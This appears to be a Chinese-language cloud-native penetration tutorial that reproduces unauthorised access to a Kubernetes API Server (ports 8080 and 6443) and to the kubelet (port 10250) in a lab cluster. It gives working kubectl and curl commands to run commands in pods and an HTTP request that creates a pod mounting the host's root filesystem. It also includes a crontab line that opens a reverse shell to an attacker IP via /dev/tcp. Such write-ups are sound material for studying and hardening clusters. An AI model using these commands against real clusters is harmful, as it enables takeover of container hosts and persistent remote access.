云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

本文涉及的产品
容器服务 Serverless 版 ACK Serverless,952元额度 多规格
容器服务 Serverless 版 ACK Serverless,317元额度 多规格
简介: 云上攻防-云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

K8S集群架构解释

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。

1、Master节点

2、Node节点

3、Pod

具体参考:

https://blog.csdn.net/qq_34101364/article/details/122506768


K8S集群攻击点-重点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器

2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。

317499b87438847b467c270f197d7e84_b14648d30981451e968801196f0a7011.png

详细攻击点参考:

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ


API Server未授权访问&kubelet未授权访问复现

k8s集群环境搭建

搭建环境使用3台Centos 7,参考:

https://www.jianshu.com/p/25c01cae990c

https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点


master:10.10.10.167

node1:10.10.10.170

node2:10.10.10.171


最后的效果

1bbaa31850bf6698392339edc7e8aaf2_44a4eb4982c8404f87ce6fc34f25fea2.png

1、攻击8080端口:API Server未授权访问

旧版本的k8s的API Server默认会开启两个端口:8080和6443

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)

新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/

需要手动添加这两条配置(新版本k8s)

  • –insecure-port=8080
  • –insecure-bind-address=0.0.0.0

重启k8s服务

systemctl restart kubelet.service

利用:

kubectl.exe -s 192.168.139.130:8080 get nodes

kubectl.exe -s 10.10.10.167:8080 get pods

kubectl -s 10.10.10.167:8080 create -f test.yaml

kubectl -s 10.10.10.167:8080 --namespace=default exec -it test bash

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/7788 0>&1\n" >> /mnt/etc/crontab

简单分析下,可以看到计划任务写入了node1主机中

2、攻击6443端口:API Server未授权访问

正常情况下:

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。


kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous


存在漏洞:

-创建恶意pods

POST /api/v1/namespaces/default/pods HTTP/2
Host: 10.10.10.167:6443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
        },
        "name": "test-4444",
        "namespace": "default"
    },
    "spec": {
        "containers": [
            {
                "image": "nginx:1.14.2",
                "name": "test-4444",
                "volumeMounts": [
                    {
                        "mountPath": "/host",
                        "name": "host"
                    }
                ]
            }
        ],
        "volumes": [
            {
                "hostPath": {
                    "path": "/",
                    "type": "Directory"
                },
                "name": "host"
            }
        ]
    }
}

-连接判断pods

kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 get pods

用户名密码随便输

-连接执行pods

kubectl --insecure-skip-tls-verify -s https://10.10.10.167:6443 --namespace=default exec -it test-4444 bash

-上述一样

3、攻击10250端口:kubelet未授权访问

环境搭建

注意是在pod节点中配置


https://10.10.10.170:10250/pods

/var/lib/kubelet/config.yaml

修改authentication的anonymous为true,

将authorization mode修改为AlwaysAllow,

重启kubelet进程-systemctl restart kubelet

-访问获取:

https://10.10.10.170:10250/runningpods/

-利用执行命令这里需要获取三个参数

namespace default

pod whgojp

container test-container

-执行模版:

curl -XPOST -k "https://10.10.10.170:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

还是在容器中,后续操作同上(写计划任务)

相关实践学习
通过Ingress进行灰度发布
本场景您将运行一个简单的应用,部署一个新的应用用于新的发布,并通过Ingress能力实现灰度发布。
容器应用与集群管理
欢迎来到《容器应用与集群管理》课程,本课程是“云原生容器Clouder认证“系列中的第二阶段。课程将向您介绍与容器集群相关的概念和技术,这些概念和技术可以帮助您了解阿里云容器服务ACK/ACK Serverless的使用。同时,本课程也会向您介绍可以采取的工具、方法和可操作步骤,以帮助您了解如何基于容器服务ACK Serverless构建和管理企业级应用。 学习完本课程后,您将能够: 掌握容器集群、容器编排的基本概念 掌握Kubernetes的基础概念及核心思想 掌握阿里云容器服务ACK/ACK Serverless概念及使用方法 基于容器服务ACK Serverless搭建和管理企业级网站应用
相关文章
|
13天前
|
人工智能 安全 Cloud Native
阿里云云原生安全能力全线升级,护航百万客户云上安全
【重磅发布】9月20日,在杭州云栖大会上,阿里云宣布云原生安全能力全线升级,首次发布云原生网络检测与响应产品NDR(Network Detection Response,简称NDR)。同时,阿里云还宣布将持续增加免费的安全防护能力,帮助中小企业客户以极低投入完成基础的云上安全风险治理。
|
7天前
|
供应链 安全 Cloud Native
阿里云容器服务助力企业构建云原生软件供应链安全
针对软件供应链的攻击事件在以每年三位数的速度激增,其中三方或开源软件已经成为攻击者关注的重要目标,其攻击方式和技术也在不断演进。通过供应链的传播,一个底层软件包的漏洞的影响范围可以波及世界。企业亟需更加标准和完善的供应链风险洞察和防护机制。本文将结合最佳实践的形式,面向容器应用完整的生命周期展示如何基于容器服务ACK/ACR/ASM助力企业构建云原生软件供应链安全。
|
6天前
|
Kubernetes API Docker
跟着iLogtail学习容器运行时与K8s下日志采集方案
iLogtail 作为开源可观测数据采集器,对 Kubernetes 环境下日志采集有着非常好的支持,本文跟随 iLogtail 的脚步,了解容器运行时与 K8s 下日志数据采集原理。
|
3天前
|
安全 Cloud Native 测试技术
Star 3w+,向更安全、更泛化、更云原生的 Nacos3.0 演进
祝贺 Nacos 社区 Star 数突破 30000!值此时机,回顾过去的两年时间,Nacos 从 2.0.4 版本演进到了 2.4.2 版本,基本完成了当初构想的高性能、易拓展的目标,并且对产品的易用性和安全性进行了提升,同时优化了新的官网,并进行了多语言和更多生态支持。未来,Nacos 会向更安全、更泛化、更云原生的 Nacos3.0 演进。
|
13天前
|
API iOS开发 开发者
Snapchat API 访问:Objective-C 实现示例
Snapchat API 访问:Objective-C 实现示例
|
9天前
|
存储 安全 Cloud Native
揭秘Quarkus安全秘籍:守护云原生应用,抵御未知威胁,助力企业稳健前行
随着云原生技术的发展,企业愈发倾向于在容器化环境中部署应用。作为一款专为云原优化的Java框架,Quarkus的安全性备受关注。本文介绍了Quarkus中的安全最佳实践,包括使用OpenID Connect进行身份认证、使用JWT进行权限控制以及保护敏感端点。通过这些实践,可有效提升应用安全性。同时,还需定期更新依赖库、使用HTTPS协议、加密存储敏感数据及定期进行安全审计,以确保应用的安全性和可靠性。
20 4
|
2月前
|
Kubernetes Shell 容器
k8s临时容器
k8s临时容器
|
2月前
|
文字识别 算法 API
视觉智能开放平台产品使用合集之海外是否可以访问人物动漫化的api版本
视觉智能开放平台是指提供一系列基于视觉识别技术的API和服务的平台,这些服务通常包括图像识别、人脸识别、物体检测、文字识别、场景理解等。企业或开发者可以通过调用这些API,快速将视觉智能功能集成到自己的应用或服务中,而无需从零开始研发相关算法和技术。以下是一些常见的视觉智能开放平台产品及其应用场景的概览。
40 0
|
5天前
|
Cloud Native 云计算 Docker
云原生之旅:从容器化到微服务架构
【9月更文挑战第27天】本文将引领读者进入云原生的世界,探索如何通过容器化技术实现应用的快速部署与扩展,并深入理解微服务架构的设计哲学。我们将一起见证代码如何转化为可在云端无缝运行的服务,同时讨论云原生生态中的最佳实践和面临的挑战。
|
3天前
|
Kubernetes Cloud Native 持续交付
探索云原生架构:打造弹性可扩展的应用
【9月更文挑战第29天】在云计算的浪潮中,云原生架构成为企业追求高效、灵活和可靠服务的关键。本文将深入解析云原生的概念,探讨如何利用容器化、微服务和持续集成/持续部署(CI/CD)等技术构建现代化应用。我们将通过一个简易的代码示例,展示如何在Kubernetes集群上部署一个基于Node.js的应用,从而揭示云原生技术的强大能力和潜在价值。
14 6

热门文章

最新文章

下一篇
无影云桌面